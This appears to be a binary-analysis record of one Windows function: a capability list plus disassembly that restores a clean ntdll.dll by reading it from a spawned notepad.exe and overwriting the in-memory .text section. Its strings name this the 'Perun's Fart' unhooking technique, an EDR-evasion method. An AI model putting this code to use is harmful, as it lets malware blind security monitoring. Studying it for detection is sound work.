Function at 0x1800015c0
Capabilities:
Access peb ldr_data
Create process on windows
Get process filename
Parse pe header
Terminate process

Disassembly:
push rsi
push r12
sub rsp, 0xf8
lea rcx, str.___Unhooking_with_Peruns_fart_technique_n
call fcn.180001070
xorps xmm0, xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rdx, str.C:WindowsSystem32_notepad.exe
xor r12d, r12d
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r12
xor r8d, r8d
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], r12d
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
mov eax, 0x5a4d
mov rsi, qword [rcx + 0x20]
cmp word [rsi], ax
je 0x18000168b
lea rcx, str._n____Bad_DOS_Signature_n
call fcn.180001070
add rsp, 0xf8
pop r12
pop rsi
ret
mov qword [rsp + 0xf0], rdi
movsxd rdi, dword [rsi + 0x3c]
add rdi, rsi
cmp dword [rdi], 0x4550
je 0x1800016c1
lea rcx, str._n____Bad_NT_Signature_n
call fcn.180001070
mov rdi, qword [rsp + 0xf0]
add rsp, 0xf8
pop r12
pop rsi
ret
mov edx, dword [rdi + 0x50]
lea rcx, str.___Retrieving_ntdll_module_size_:__lu_n
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbp
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0xe0], r15
call fcn.180001070
mov ebx, dword [rdi + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rsp + 0x50]
mov r9d, ebx
mov r15, rax
mov qword [rsp + 0x118], r12
lea rax, [rsp + 0x118]
mov r8, r15
mov rdx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movzx r10d, word [rdi + 0x14]
mov rbx, r12
movzx r9d, word [rdi + 6]
add r10, rdi
mov r14, r12
mov rbp, r12
mov r8d, r12d
test r9, r9
je 0x180001798
mov rdx, r12
lea rcx, [r10 + 0x18]
nop dword [rax + rax]
mov eax, dword [rcx]
or eax, 0x20202020
cmp eax, 0x7865742e
je 0x18000177f
inc r8d
inc rdx
add rcx, 0x28
cmp rdx, r9
jl 0x180001760
jmp 0x180001798
movsxd rax, r8d
lea rcx, [rax + rax*4]
mov eax, dword [r10 + rcx*8 + 0x24]
mov ebp, dword [r10 + rcx*8 + 0x20]
lea rbx, [rax + rsi]
lea r14, [rax + r15]
mov eax, dword [r14]
mov r15, qword [rsp + 0xe0]
cmp dword [rbx], eax
je 0x1800017b5
lea rcx, str._n____Bad_section_address_n
call fcn.180001070
jmp 0x18000181a
lea r9, [rsp + 0x110]
mov dword [rsp + 0x110], r12d
mov r8d, 0x80
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rbp
mov rdx, r14
mov rcx, rbx
call fcn.180017fc0
mov r8d, dword [rsp + 0x110]
lea r9, [rsp + 0x110]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.___Ntdll_module_restored_n
call fcn.180001070
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rbx, qword [rsp + 0x120]
mov rbp, qword [rsp + 0x128]
mov r14, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
add rsp, 0xf8
pop r12
pop rsi
ret